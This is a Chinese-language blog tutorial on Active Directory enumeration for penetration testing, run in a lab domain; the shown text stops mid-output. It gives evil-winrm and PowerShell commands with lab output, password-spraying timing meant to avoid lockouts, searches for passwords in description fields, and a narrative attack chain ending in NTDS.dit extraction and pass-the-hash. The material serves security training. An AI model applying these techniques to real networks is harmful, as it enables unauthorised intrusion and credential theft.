iT邦幫忙

2025 iThome 鐵人賽

DAY 23
0
Security

資安這條路:AD 攻防實戰演練系列 第 23

AD 攻防實戰演練 Day 23:掌握 AD 列舉技術與 SYSTEM 權限運用

  • 分享至 

  • xImage
  •  

Banner

前言

經過 22 天的學習,我們已經掌握許多 Active Directory 攻擊技巧。但實際滲透測試中,兩個關鍵概念常被忽略:

  1. 為何 AD 列舉如此重要?如何有效執行?
  2. NT AUTHORITY\SYSTEM 在 AD 環境的真實能力為何?

今天將深入探討這兩大主題,建立從「取得系統權限」到「控制整個網域」的完整思維。這些是在真實環境進行 AD 滲透測試的核心基礎。

本日學習目標

  • 理解 AD 列舉在滲透測試的關鍵地位
  • 掌握系統化的 AD 資訊收集方法
  • 了解 NT AUTHORITY\SYSTEM 的特性與限制

第一部分:重新理解 AD 列舉的核心價值

1.1 列舉是滲透測試的靈魂

在滲透測試的各個階段中,列舉(Enumeration)常被認為是最重要但也最容易被低估的技能。

滲透測試的真實流程

傳統認知(錯誤):
找漏洞 → 利用 → 取得權限 → 完成

實際流程(正確):
初步列舉 → 發現弱點 → 獲得立足點 → 深度列舉 → 
尋找提權路徑 → 橫向移動 → 持續列舉 → 達成目標

列舉貫穿整個滲透測試過程!

為什麼列舉如此重要?

1. 提供攻擊方向與策略

沒有充分列舉的後果:
1. 不知道目標環境的規模和複雜度
2. 不清楚哪些系統是關鍵資產
3. 找不到從 A 到 B 的路徑
4. 可能錯過最簡單的提權方式

充分列舉後:
1. 清楚了解整個 AD 架構
2. 知道哪些使用者和群組是關鍵
3. 發現多條可能的攻擊路徑
4. 可以選擇最隱蔽、最可靠的方法

2. 發現設定錯誤比找漏洞更有效

真實世界的安全問題分佈:

技術漏洞(需要 0-day 或未修補漏洞): 20%
設定錯誤(需要列舉才能發現): 60%
社交工程(需要情報收集): 15%
實體安全(需要現場勘查): 5%

設定錯誤的例子:
1. 密碼寫在使用者描述欄位
2. 過度寬鬆的群組成員資格
3. 不當的委派設定
4. 錯誤的 ACL 設定
5. 未輪換的服務帳號密碼
6. 過時的信任關係

這些問題都不是「漏洞」,而是「錯誤設定」!

3. 為客戶提供真正的價值

滲透測試/紅隊演練報告的價值層級:

低價值報告:
「我們使用 XXX 漏洞攻破了你們的系統」
→ 客戶收穫:知道要打補丁

中價值報告:
「我們發現 5 個可被利用的弱點」
→ 客戶收穫:知道要修正哪些問題

高價值報告:
「我們進行了完整的 AD 健康檢查,發現:
 - 327 個密碼永不過期的帳號
 - 45 個服務帳號使用弱密碼
 - 12 個不當的 ACL 設定
 - 8 條可能的攻擊路徑
 - 詳細的修復建議和優先順序」
→ 客戶收穫:全面了解安全狀況,知道如何改善

1.2 企業 AD 環境的真實面貌

理解企業環境的複雜性,可以幫助我們更好地進行列舉。

典型企業 AD 環境的演進歷程

Year 1-2: 初始建置期
1. 網域結構相對簡單
2. 使用者和群組數量適中
3. 政策相對一致
4. 管理相對容易
 
Year 3-5: 快速成長期
1. 員工數量增加 3-5 倍
2. 新增多個 OU 和子網域
3. 開始有臨時的「快速修正」
4. 出現第一批「被遺忘」的帳號
5. GPO 數量開始失控

Year 6-10: 累積問題期
1. 多次管理員更替
2. 沒有完整的文件記錄
3. 大量的歷史包袱
4. 複雜的群組巢狀關係
5. 數百個「不確定用途」的帳號

Year 10+: 混亂期
1. 沒有人完全了解整個環境
2. 害怕改動任何設定(可能會出問題)
3. 累積了上千個設定錯誤
4. 安全性問題層出不窮
5. 重新建置成本過高

真實案例:某金融機構的 AD 環境

基本資訊:
- 建置時間:2003 年(已使用 20 年)
- 網域數量:5 個(包含子網域和信任關係)
- 使用者帳號:25,000+
- 電腦帳號:15,000+
- 群組數量:8,000+
- GPO 數量:350+
- 服務帳號:500+

經過 3 週的深度列舉發現:

權限管理問題:
1. 280 個帳號有 Domain Admin 權限(應該只有 5-10 個)
2. 1,200+ 個帳號密碼永不過期
3. 65 個服務帳號使用相同密碼
4. 45 個已離職員工的帳號仍然啟用
5. 18 個「測試帳號」有生產環境存取權

設定錯誤:
1. 描述欄位中發現 35 組密碼
2. 120+ 個 ACL 設定錯誤(允許低權限使用者修改高權限物件)
3. 25 個不再使用的信任關係未移除
4. 8 個網域的密碼政策不一致
5. 所有工作站的本地管理員密碼相同

委派問題:
1. 12 個帳號設定了 Unconstrained Delegation
2. 35 個服務帳號有不必要的 SPN
3. 8 個帳號不需要 Kerberos 預認證
4. 150+ 個帳號有過度的 SeBackupPrivilege
 
網路存取:
1. 所有使用者可以 RDP 到 Jump Server
2. Domain Users 在 80+ 台伺服器有本地管理員權限
3. 5 個共享資料夾沒有存取控制
4. 所有員工可以存取生產環境的 SQL Server
 
評估結論:
一個普通的 Domain User 帳號,透過適當的列舉和攻擊鏈,
可以在 2 小時內獲得 Domain Admin 權限。

這個案例充分說明:列舉能發現的問題,遠比技術漏洞更多、更嚴重!

1.3 列舉是持續迭代的過程

很多人誤以為列舉是「一次性」的動作,這是完全錯誤的認知。

正確的列舉思維:列舉 → 攻擊 → 列舉 → 攻擊 → ...

階段 1: 初始列舉(無憑證或低權限憑證)
1. 使用 LDAP NULL Bind
2. DNS 查詢
3. SMB NULL Session
4. NetBIOS 列舉
5. 收集基本資訊(網域名稱、DC、使用者列表)

↓ 發現第一個可利用點

階段 2: 獲得立足點
1. 密碼噴灑成功
2. AS-REP Roasting
3. 描述欄位發現密碼
4. 取得一個 Domain User 憑證

↓ 使用新憑證進行第二輪列舉

階段 3: 深度列舉(使用 Domain User 憑證)
1. 完整的 LDAP 查詢
2. 執行 BloodHound 收集
3. 檢查 ACL 權限
4. 列舉共享資料夾
5. 發現多條可能的路徑

↓ 選擇最佳路徑進行攻擊

階段 4: 橫向移動
1. Kerberoasting 破解服務帳號
2. 利用 ACL 錯誤設定
3. 取得某台伺服器的存取權
4. 獲得 SYSTEM 權限

↓ 從新主機進行第三輪列舉

階段 5: 擴大控制範圍
1. 從記憶體提取更多憑證
2. Token 模擬攻擊
3. 存取新的共享資料夾
4. 發現關鍵的服務帳號
5. 找到通往 DA 的路徑

↓ 繼續迭代直到達成目標

階段 N: 網域控制
- Domain Admin 權限取得

實際案例:從低權限到 DA 的迭代過程

目標環境:INLANEFREIGHT.LOCAL
起始權限:無(從外部網路開始)

迭代 1: 外部列舉
1. 執行 nmap 掃描
2. 發現開放的 SMB(445)和 LDAP(389)
3. 嘗試 LDAP NULL Bind - 成功!
4. 列舉到 2,500 個使用者帳號
5. 儲存使用者清單供後續使用

迭代 2: 初始存取嘗試
1. 對使用者清單進行密碼噴灑
2. 使用常見密碼:Summer2025!
3. 成功:發現 8 個使用者使用此密碼
4. 取得憑證:james.miller / Summer2025!

迭代 3: Domain User 列舉
1. 使用 james.miller 執行 BloodHound 收集
2. 檢查 james.miller 的群組成員資格
3. 發現:james.miller 在 "Help Desk" 群組
4. 發現:"Help Desk" 群組對 OU=Workstations 有 GenericAll
5. 但這不是最快的路徑...

迭代 4: 尋找其他機會
1. 列舉所有使用者的描述欄位
2. 發現:svc-backup 的描述包含 "P@ssw0rd: Backup2025!"
3. 驗證憑證 - 成功!
4. 檢查 svc-backup 的權限
5. 發現:svc-backup 在 "Backup Operators" 群組

迭代 5: 利用 Backup Operators
1. 使用 svc-backup 登入任一網域成員主機
2. 由於 Backup Operators 身份,可以讀取 DC 上的檔案
3. 使用 diskshadow 建立 DC 的 shadow copy
4. 複製 NTDS.dit 和 SYSTEM hive
5. 下載到攻擊機進行離線處理

迭代 6: 提取網域 hash
1. 使用 secretsdump.py 提取 NTDS.dit
2. 取得所有使用者的 NT hash
3. 包含 Domain Admin 帳號的 hash
4. 使用 Pass-the-Hash 獲得 Domain Admin 存取

總耗時:約 4 小時
關鍵:每次獲得新資訊或新憑證,都要重新列舉!

1.4 建立系統化的列舉方法論

專業的滲透測試人員會使用系統化的方法進行列舉,而不是「想到什麼查什麼」。

完整的 AD 列舉檢查清單(Checklist)

第一級:網域基本資訊
- 網域名稱(FQDN)
- NetBIOS 名稱
- 網域功能等級(Domain Functional Level)
- 樹系功能等級(Forest Functional Level)
- DC 數量和位置
- 子網域和信任關係
- 網域 SID

第二級:使用者列舉
- 所有網域使用者清單(包含屬性)
- 啟用的使用者數量
- 停用的使用者數量
- 密碼永不過期的使用者
- 密碼可以為空的使用者(PASSWD_NOTREQD)
- 不需 Kerberos 預認證的使用者
- 有 SPN 的使用者(Kerberoasting 目標)
- 描述欄位非空的使用者(可能有密碼)
- 最近未登入的使用者(殭屍帳號)
- adminCount=1 的使用者(特權使用者)
- 委派設定的使用者
- 在 Protected Users 群組的使用者
- 有異常 UAC 設定的使用者

第三級:群組列舉
- 所有網域群組清單
- 特權群組成員(Domain Admins, Enterprise Admins 等)
- 自訂群組及其用途
- 群組巢狀關係
- 空群組(可能未清理)
- adminCount=1 的群組
- 外部群組成員(來自信任網域)

第四級:電腦列舉
- 所有網域電腦清單
- DC 清單
- 伺服器清單(依角色分類)
- 工作站清單
- 作業系統版本分佈
- 啟用的電腦
- 停用的電腦
- 有委派設定的電腦
- 有舊版作業系統的電腦(Windows 7, 2008)
- SMB 簽章未啟用的電腦

第五級:政策與設定
- 預設網域密碼政策
	- 最小密碼長度
	- 密碼複雜度要求
	- 密碼歷史記錄
	- 最短/最長密碼使用期限
- 帳號鎖定政策
- 精細密碼政策(Fine-Grained Password Policy)
- 所有 GPO 清單
- GPO 連結關係
- 登錄檔政策
- 安全性設定

第六級:網路與服務
- 所有 SPN 清單
- DNS 記錄
- 共享資料夾列舉
- 可匿名存取的共享
- 列印伺服器
- SQL Server 實例
- Exchange Server
- 網頁應用程式
- 其他關鍵服務

第七級:安全性機制
- LAPS 部署狀況
- Microsoft Defender for Identity(以前的 ATA)
- AppLocker 政策
- Windows Firewall 設定
- PowerShell Logging
- Audit 政策
- EDR/AV 部署狀況

第八級:權限與 ACL
- 自己的權限範圍
- 不當的 ACL 設定
- 誰可以修改 GPO
- 誰可以重設密碼
- 誰可以修改群組成員
- 誰可以建立/刪除物件
- 特殊的委派權限

第九級:攻擊面識別
- 可能的 AS-REP Roasting 目標
- 可能的 Kerberoasting 目標
- 可能的 NTLM Relay 目標
- 過度寬鬆的 RDP 權限
- 過度寬鬆的本地管理員權限
- 可利用的 ACL 路徑
- 可利用的群組巢狀路徑

第十級:情報收集
- 組織架構(從 OU 結構推測)
- 命名規則(使用者、電腦、群組)
- 重要專案或系統(從物件名稱推測)
- 管理員習慣(從登入時間、主機存取模式分析)
- 可能的業務關鍵資產

自動化列舉工具對照表

工具功能對照

基本列舉:
- BloodHound (SharpHound / BloodHound.py)
	- 最強大的 AD 關係視覺化工具
- PowerView (PowerSploit)
	- 功能最完整的 PowerShell 列舉工具
- ldapsearch / ldapsearch-ad.py
	- 靈活的 LDAP 查詢工具
- windapsearch
	- 簡化的 LDAP 列舉工具
- ADRecon
	- 全面的 AD 報告生成工具

內建工具:
- PowerShell AD Module
	- Get-ADUser, Get-ADComputer, Get-ADGroup 等
- net.exe
	- net user /domain, net group /domain 等
- dsquery / dsget
	- DS Command-Line Tools
- nltest
	- 信任關係和 DC 列舉

特定功能:
- PingCastle
	- AD 健康檢查和風險評估
- ADExplorer (Sysinternals)
	- AD 物件瀏覽器
- Adalanche
	- AD ACL 視覺化
- PlumHound
	- BloodHound 資料分析和報告

取得立足點後的立即偵察行動

當我們在 Active Directory 環境中成功取得第一個進入點(可能是一組帳號密碼或是一台電腦的存取權限),第一時間要做的就是系統化地收集情報。這就像是闖入一棟大樓後,要先搞清楚這棟樓有幾層、有幾個出入口、管理室在哪裡一樣。

使用 Evil-WinRM 連線

首先,我們使用 Evil-WinRM 這個工具來遠端連接到 DC(網域控制站):

evil-winrm -i 192.168.139.11 \
  -u catelyn.stark \
  -p 'robbsansabradonaryarickon'

這個指令的意思是:

  • -i 192.168.139.11:目標伺服器的 IP 位址
  • -u catelyn.stark:使用的帳號名稱
  • -p 'robbsansabradonaryarickon':該帳號的密碼

image

核心資訊快速收集

連進去之後,我們要馬上收集以下關鍵資訊:

1. 網域基本資訊

Get-ADDomain | Select-Object DNSRoot, NetBIOSName, DomainMode, PDCEmulator, RIDMaster

這個指令會輸出:

DNSRoot     : north.sevenkingdoms.local
NetBIOSName : NORTH
DomainMode  : Windows2016Domain
PDCEmulator : winterfell.north.sevenkingdoms.local
RIDMaster   : winterfell.north.sevenkingdoms.local

image

欄位說明:

欄位 白話解釋
DNSRoot 這個網域的完整名稱是 north.sevenkingdoms.local,就像公司的網址
NetBIOSName 這個網域的簡稱叫 NORTH,比較短、好記
DomainMode 使用 Windows Server 2016 的網域功能,代表這個網域比較新
PDCEmulator winterfell 這台伺服器負責處理密碼變更、時間同步等重要工作
RIDMaster winterfell 這台伺服器負責分配帳號的唯一編號(像是身分證字號產生器)

為什麼這很重要?

  • 知道 PDCEmulator 在哪台伺服器,就知道要攻擊哪台才能改密碼
  • 知道網域簡稱,後續指令會用到

2. 樹系資訊

Get-ADForest | Select-Object Name, ForestMode, RootDomain, Domains

這個指令會輸出:

Name                : sevenkingdoms.local
ForestMode          : Windows2016Forest
RootDomain          : sevenkingdoms.local
Domains             : {north.sevenkingdoms.local, sevenkingdoms.local}

image

欄位說明:

欄位 白話解釋
Name 整個組織的最頂層網域叫 sevenkingdoms.local(集團總公司)
ForestMode 使用 Windows Server 2016 等級的樹系
RootDomain 最頂層的網域是 sevenkingdoms.local
Domains 這個組織有 2 個網域:north.sevenkingdoms.local(子公司)和 sevenkingdoms.local(總公司)

為什麼這很重要?

  • 如果有多個網域,代表可能可以從子網域(north)跳到父網域(sevenkingdoms)
  • 這是跨網域攻擊的關鍵資訊
  • 像是從台灣分公司的系統,想辦法入侵到總公司

3. 網域控制站清單

Get-ADDomainController -Filter * | Select-Object Name, IPv4Address, OperatingSystem, Site

這個指令會輸出:

Name       : WINTERFELL
IPv4Address: 192.168.58.146
OperatingSystem: Windows Server 2019 Datacenter Evaluation
Site       : Default-First-Site-Name

image

欄位說明:

欄位 白話解釋
Name 這台 DC 叫 WINTERFELL
IPv4Address 這台伺服器的 IP 是 192.168.58.146
OperatingSystem 執行的是 Windows Server 2019 資料中心評估版
Site 位於預設站台(通常代表只有一個辦公室)

為什麼這很重要?

  • 知道有幾台 DC,每台的 IP 是多少
  • 知道作業系統版本,可以查有沒有已知漏洞
  • 如果有多個 Site(站台),代表公司有多個辦公室或資料中心

總結:這些資訊告訴我們什麼?

從上面三個指令,我們可以快速了解:

  1. 組織架構

    • 有一個總公司網域(sevenkingdoms.local)
    • 有一個子公司網域(north.sevenkingdoms.local)
    • 存在父子網域信任關係(可能可以提權)
  2. 關鍵目標

    • WINTERFELL 是子網域的 DC
    • IP 是 192.168.58.146
    • 執行 Windows Server 2019
  3. 攻擊路徑

    • 目前在子網域(north)
    • 可能可以透過信任關係攻擊到父網域(sevenkingdoms)
    • 重點目標是 PDCEmulator(主要 DC)

下一步該做什麼?

  • 列舉網域使用者和群組
  • 找出特權帳號(Domain Admins、Enterprise Admins)
  • 尋找可以提權的漏洞或錯誤設定
  • 規劃從子網域跳到父網域的攻擊路線

這就像是拿到一張建築平面圖,我們現在知道:

  • 這棟樓有幾層(幾個網域)
  • 管理室在哪(DC 的位置)
  • 大門和後門在哪(信任關係)
  • 現在我們要找鑰匙(特權帳號)來開門!

2. 密碼政策(攻擊者的重要情報)

密碼政策就像是一棟大樓的保全規則,告訴我們「密碼要多複雜」、「錯幾次會被鎖帳號」、「多久要換一次密碼」。對攻擊者來說,這些資訊非常關鍵,因為它決定了我們該用什麼方式攻擊。

查詢預設密碼政策

Get-ADDefaultDomainPasswordPolicy

範例輸出:

ComplexityEnabled           : False
DistinguishedName           : DC=north,DC=sevenkingdoms,DC=local
LockoutDuration             : 00:05:00
LockoutObservationWindow    : 00:05:00
LockoutThreshold            : 5
MaxPasswordAge              : 37201.00:00:00
MinPasswordAge              : 1.00:00:00
MinPasswordLength           : 5
objectClass                 : {domainDNS}
objectGuid                  : d61e8e95-ecee-43ba-92f7-47ad34b8cbbe
PasswordHistoryCount        : 24
ReversibleEncryptionEnabled : False

關鍵欄位解讀

欄位 意思 範例值說明
ComplexityEnabled 是否要求密碼複雜度 False = 不需要複雜密碼(可以設定 12345678
MinPasswordLength 密碼最短長度 5 = 最短只要 5 個字(很弱!)
LockoutThreshold 錯幾次會被鎖定 5 = 輸錯 5 次就鎖帳號
LockoutDuration 鎖定多久 00:05:00 = 鎖 5 分鐘
LockoutObservationWindow 錯誤次數計算時間窗 00:05:00 = 5 分鐘內錯 5 次才會鎖
MaxPasswordAge 密碼最長使用期限 37201.00:00:00 = 大約 102 年(基本上不用換)
MinPasswordAge 密碼最短使用期限 1.00:00:00 = 改完密碼至少要用 1 天才能再改
PasswordHistoryCount 記錄幾組舊密碼 24 = 新密碼不能跟前 24 組重複
ReversibleEncryptionEnabled 是否用可逆加密儲存密碼 False = 不用(如果是 True 就危險了)

查詢精細密碼政策(給特定群組用的)

有些公司會對不同部門設定不同的密碼規則,例如:

  • 一般員工:密碼 8 碼就好
  • IT 管理員:密碼要 15 碼
# 查看所有精細密碼政策
Get-ADFineGrainedPasswordPolicy -Filter * | Select-Object Name, MinPasswordLength, LockoutThreshold

# 查看哪些使用者或群組套用精細政策
Get-ADFineGrainedPasswordPolicySubject -Identity "VIP_Users_Policy"

為什麼密碼政策如此重要?

密碼政策直接決定我們能用什麼攻擊手法,以及攻擊的風險有多高

情境 1:沒有帳號鎖定機制

LockoutThreshold = 0(無鎖定)
↓
可以無限次嘗試密碼
↓
攻擊選項:
├── 暴力破解(Brute Force):逐一嘗試所有可能組合
├── 字典攻擊(Dictionary Attack):用常見密碼清單測試
└── 密碼噴灑(Password Spraying):用一組密碼測試所有帳號

實際案例:
如果 LockoutThreshold = 0,我們可以對同一個帳號瘋狂測試:

  • admin:Password123
  • admin:Welcome2025
  • admin:Summer2025
  • ... 測到成功為止

情境 2:有帳號鎖定機制(常見情況)

LockoutThreshold = 5(錯 5 次就鎖)
LockoutObservationWindow = 00:05:00(5 分鐘內)
LockoutDuration = 00:30:00(鎖 30 分鐘)
↓
每個帳號只能嘗試 4 次密碼(保留 1 次容錯)
↓
攻擊策略:密碼噴灑(Password Spraying)
├── 步驟 1:收集所有使用者帳號清單
├── 步驟 2:選一組常見密碼(例如:Summer2025)
├── 步驟 3:對所有帳號測試這一組密碼
├── 步驟 4:等待超過 LockoutObservationWindow(5 分鐘)
└── 步驟 5:換下一組密碼重複測試

實際案例:
假設公司有 1000 個帳號,我們用密碼噴灑:

  1. 第一輪:用 Summer2025 測試全部 1000 個帳號
  2. 等 6 分鐘(超過 5 分鐘觀察窗)
  3. 第二輪:用 Welcome2025 測試全部 1000 個帳號
  4. 等 6 分鐘
  5. 第三輪:用 Company2025 測試全部 1000 個帳號

這樣每個帳號只被測試 3 次,不會觸發鎖定!

情境 3:密碼長度很短

MinPasswordLength = 5(只要 5 個字)
ComplexityEnabled = False(不用複雜密碼)
↓
使用者可能設定超簡單的密碼
↓
常見弱密碼:
├── 12345
├── admin
├── password
├── welcome
└── 公司名稱

攻擊策略:
使用精簡字典檔,只包含 5-8 個字的常見密碼,破解速度超快!

情境 4:密碼永不過期

MaxPasswordAge = 999 天(或更久)
↓
使用者可能用同一組密碼用了好幾年
↓
這組密碼可能已經:
├── 在其他網站被洩露(資料外洩)
├── 被寫在便利貼上
├── 被前員工知道
└── 在暗網資料庫裡

攻擊策略:
使用已洩露密碼資料庫(Have I Been Pwned、RockYou 等),測試這些舊密碼!

情境 5:密碼複雜度未啟用

ComplexityEnabled = False
↓
不需要:
├── 大寫字母
├── 小寫字母
├── 數字
└── 特殊符號
↓
使用者傾向設定全小寫、純數字等簡單密碼

常見弱密碼範例:

  • summer2025(季節 + 年份)
  • welcome123(歡迎 + 數字)
  • password(就是密碼這個字)
  • companyname(公司名稱)

實戰案例:根據密碼政策調整攻擊策略

案例 A:寬鬆政策

MinPasswordLength: 5
ComplexityEnabled: False
LockoutThreshold: 0
MaxPasswordAge: 999 天

攻擊策略:

  1. 直接暴力破解或字典攻擊
  2. 使用超短字典(5-6 個字的密碼)
  3. 優先測試:admin, 12345, password, welcome

案例 B:中等政策(最常見)

MinPasswordLength: 8
ComplexityEnabled: True
LockoutThreshold: 5
LockoutObservationWindow: 5 分鐘
MaxPasswordAge: 90 天

攻擊策略:

  1. 密碼噴灑(每個帳號最多測 4 次)
  2. 間隔 6 分鐘以上
  3. 使用符合複雜度的常見密碼:
    • Summer2025!
    • Welcome@123
    • Password1!
    • Company@2025

案例 C:嚴格政策

MinPasswordLength: 15
ComplexityEnabled: True
LockoutThreshold: 3
LockoutObservationWindow: 30 分鐘
MaxPasswordAge: 30 天

攻擊策略:

  1. 放棄密碼攻擊
  2. 改用其他手法:
    • Kerberoasting(攻擊服務帳號)
    • AS-REP Roasting(攻擊無需預先認證的帳號)
    • NTLM Relay(中繼攻擊)
    • 釣魚攻擊取得密碼

總結:密碼政策洩露的情報

發現 攻擊者的解讀 建議手法
LockoutThreshold = 0 可以無限嘗試 暴力破解、字典攻擊
MinPasswordLength ≤ 7 密碼可能很短 使用短字典檔
ComplexityEnabled = False 密碼可能很簡單 測試純小寫、純數字
MaxPasswordAge > 365 天 密碼很久沒換 使用洩露密碼資料庫
LockoutThreshold ≤ 5 要小心觸發鎖定 密碼噴灑(間隔攻擊)

記住:密碼政策是攻擊者的情報寶庫,它告訴我們「這間公司對安全性有多重視」以及「我們該怎麼攻擊」!

3. 快速使用者清單

# 取得所有使用者(基本資訊)
Get-ADUser -Filter * | Select-Object SamAccountName, Enabled | Format-Table -AutoSize

SamAccountName Enabled
-------------- -------
Administrator     True
Guest            False
vagrant           True
krbtgt           False
SEVENKINGDOMS$    True
arya.stark        True
eddard.stark      True
catelyn.stark     True
robb.stark        True
sansa.stark       True
brandon.stark     True
rickon.stark      True
hodor             True
jon.snow          True
samwell.tarly     True
jeor.mormont      True
sql_svc           True
john              True

image


# 統計資訊
$users = Get-ADUser -Filter *
Write-Host "總使用者數: $($users.Count)"
Write-Host "啟用的使用者: $(($users | Where-Object {$_.Enabled -eq $true}).Count)"
Write-Host "停用的使用者: $(($users | Where-Object {$_.Enabled -eq $false}).Count)"

#輸出
總使用者數: 18
啟用的使用者: 16
停用的使用者: 2

image

# 取得特權使用者(adminCount=1)
Get-ADUser -LDAPFilter "(adminCount=1)" -Properties adminCount |
    Select-Object SamAccountName, DistinguishedName |
    Format-Table -AutoSize

# 這會列出所有曾經(或現在)是特權群組成員的使用者
SamAccountName DistinguishedName
-------------- -----------------
Administrator  CN=Administrator,CN=Users,DC=north,DC=sevenkingdoms,DC=local
vagrant        CN=vagrant,CN=Users,DC=north,DC=sevenkingdoms,DC=local
krbtgt         CN=krbtgt,CN=Users,DC=north,DC=sevenkingdoms,DC=local
eddard.stark   CN=eddard.stark,CN=Users,DC=north,DC=sevenkingdoms,DC=local
catelyn.stark  CN=catelyn.stark,CN=Users,DC=north,DC=sevenkingdoms,DC=local
robb.stark     CN=robb.stark,CN=Users,DC=north,DC=sevenkingdoms,DC=local
john           CN=john,CN=Users,DC=north,DC=sevenkingdoms,DC=local

image

4. 關鍵群組成員

# Domain Admins
Get-ADGroupMember "Domain Admins" | Select-Object Name, SamAccountName, objectClass

# 輸出
Name          SamAccountName objectClass
----          -------------- -----------
Administrator Administrator  user
eddard.stark  eddard.stark   user

image

# Enterprise Admins(僅在根網域)
Get-ADGroupMember "Enterprise Admins" | Select-Object Name, SamAccountName

# Administrators(內建 Administrators 群組)
Get-ADGroupMember "Administrators" | Select-Object Name, SamAccountName

# 其他重要群組
$importantGroups = @(
    "Schema Admins",
    "Backup Operators",
    "Account Operators",
    "Server Operators",
    "Print Operators",
    "DNSAdmins",
    "Group Policy Creator Owners"
)

foreach ($group in $importantGroups) {
    Write-Host "`n=== $group ===" -ForegroundColor Cyan
    Get-ADGroupMember $group -ErrorAction SilentlyContinue |
        Select-Object Name, SamAccountName |
        Format-Table -AutoSize
}

5. 電腦清單與統計

# 所有電腦
Get-ADComputer -Filter * -Properties OperatingSystem, LastLogonDate |
    Select-Object Name, OperatingSystem, LastLogonDate |
    Format-Table -AutoSize

# 輸出
Name        OperatingSystem                           LastLogonDate
----        ---------------                           -------------
WINTERFELL  Windows Server 2019 Datacenter Evaluation 9/28/2025 1:22:43 AM
CASTELBLACK Windows Server 2019 Datacenter Evaluation 9/28/2025 1:22:39 AM

image

# 依作業系統分類統計
Get-ADComputer -Filter * -Properties OperatingSystem |
    Group-Object OperatingSystem |
    Select-Object Count, Name |
    Sort-Object Count -Descending
	
# 輸出
Count Name
----- ----
    2 Windows Server 2019 Datacenter Evaluation

# 危險範例輸出:
Count Name
----- ----
  150 Windows 10 Enterprise
   45 Windows Server 2019 Standard
   30 Windows 11 Enterprise
   12 Windows Server 2016 Standard
    5 Windows 7 Professional  ← 注意老舊系統
    3 Windows Server 2008 R2 Standard  ← 高風險

image

# 找出 Domain Controllers
Get-ADComputer -Filter {PrimaryGroupID -eq 516} -Properties OperatingSystem |
    Select-Object Name, DNSHostName, OperatingSystem
	
Name       DNSHostName                          OperatingSystem
----       -----------                          ---------------
WINTERFELL winterfell.north.sevenkingdoms.local Windows Server 2019 Datacenter Evaluation

image

# 找出伺服器(依 OU 或名稱規則)
Get-ADComputer -Filter * -SearchBase "OU=Servers,DC=inlanefreight,DC=local" |
    Select-Object Name

2.2 尋找 "Quick Wins"(快速勝利)

"Quick Wins" 是指那些可以迅速提升我們權限或擴大存取範圍的機會。

Quick Win 類型 1:描述欄位中的密碼

# 搜尋描述欄位中可能的密碼
Get-ADUser -Filter * -Properties Description |
    Where-Object {$_.Description -match "password|pwd|pass|pw"} |
    Select-Object SamAccountName, Description |
    Format-Table -AutoSize

image

# 更精確的搜尋(排除常見的無關描述)
Get-ADUser -Filter * -Properties Description |
    Where-Object {
        $_.Description -ne $null -and
        $_.Description -notmatch "^(Built-in|Default|System)" -and
        $_.Description.Length -gt 0
    } |
    Select-Object SamAccountName, Description |
    Format-Table -Wrap

# 輸出

SamAccountName Description
-------------- -----------
vagrant        Vagrant User
krbtgt         Key Distribution Center Service Account
arya.stark     Arya Stark
eddard.stark   Eddard Stark
catelyn.stark  Catelyn Stark
robb.stark     Robb Stark
sansa.stark    Sansa Stark
brandon.stark  Brandon Stark
rickon.stark   Rickon Stark
hodor          Brainless Giant
jon.snow       Jon Snow
samwell.tarly  Samwell Tarly (Password : Heartsbane)
jeor.mormont   Jeor Mormont
sql_svc        sql service


# 危險範例輸出:
SamAccountName    Description
--------------    -----------
svc-backup        備份服務帳號 - 密碼: Backup2025! 請勿更改
sql-admin         SQL 管理帳號 (P@ssw0rd: SQLAdmin123)
temp-admin        臨時管理員 - 初始密碼 Welcome@2025
svc-monitoring    監控服務 // Pass: Monitor!234

image

為什麼會有人把密碼寫在描述欄位?

常見原因:
1. 建立服務帳號時,為了「暫時記錄」密碼
2. 多人管理環境,需要「共享」密碼
3. 設定文件遺失,描述成為「備註」欄位
4. 建立時標記為「臨時」,但從未更改
5. 管理員不知道描述欄位所有人都能讀取

現實情況:
在 10-20 年的老環境中,約 15-30% 會有此問題

Quick Win 類型 2:密碼永不過期的特權帳號

# 找出密碼永不過期的帳號
Get-ADUser -Filter {PasswordNeverExpires -eq $true} -Properties PasswordNeverExpires, PasswordLastSet, MemberOf |
    Select-Object SamAccountName, PasswordLastSet, @{Name="Groups";Expression={$_.MemberOf -join "; "}} |
    Format-Table -AutoSize
	
SamAccountName PasswordLastSet      Groups
-------------- ---------------      ------
Administrator  9/7/2025 8:53:08 AM  CN=Group Policy Creator Owners,CN=Users,DC=north,DC=sevenkingdoms,DC=local; CN=Domain Admins,CN=Users,DC=north,DC=sevenkingdoms,DC=local; CN=Administrators,CN=Builtin,DC=north,DC=sevenkingdoms,DC=local
Guest                               CN=Guests,CN=Builtin,DC=north,DC=sevenkingdoms,DC=local
vagrant        5/12/2021 4:39:16 AM CN=Users,CN=Builtin,DC=north,DC=sevenkingdoms,DC=local; CN=Administrators,CN=Builtin,DC=north,DC=sevenkingdoms,DC=local
arya.stark     9/7/2025 10:32:29 AM CN=Stark,CN=Users,DC=north,DC=sevenkingdoms,DC=local
eddard.stark   9/7/2025 10:32:33 AM CN=Stark,CN=Users,DC=north,DC=sevenkingdoms,DC=local; CN=Domain Admins,CN=Users,DC=north,DC=sevenkingdoms,DC=local; CN=Administrators,CN=Builtin,DC=north,DC=sevenkingdoms,DC=local
catelyn.stark  9/7/2025 10:32:36 AM CN=Stark,CN=Users,DC=north,DC=sevenkingdoms,DC=local; CN=Administrators,CN=Builtin,DC=north,DC=sevenkingdoms,DC=local
robb.stark     9/7/2025 10:32:38 AM CN=Stark,CN=Users,DC=north,DC=sevenkingdoms,DC=local; CN=Administrators,CN=Builtin,DC=north,DC=sevenkingdoms,DC=local
sansa.stark    9/7/2025 10:32:41 AM CN=Stark,CN=Users,DC=north,DC=sevenkingdoms,DC=local
brandon.stark  9/7/2025 10:32:44 AM CN=Stark,CN=Users,DC=north,DC=sevenkingdoms,DC=local
rickon.stark   9/7/2025 10:32:47 AM CN=Stark,CN=Users,DC=north,DC=sevenkingdoms,DC=local
hodor          9/7/2025 10:32:50 AM CN=Stark,CN=Users,DC=north,DC=sevenkingdoms,DC=local
jon.snow       9/7/2025 10:32:52 AM CN=Night Watch,CN=Users,DC=north,DC=sevenkingdoms,DC=local; CN=Stark,CN=Users,DC=north,DC=sevenkingdoms,DC=local
samwell.tarly  9/7/2025 10:32:54 AM CN=Night Watch,CN=Users,DC=north,DC=sevenkingdoms,DC=local
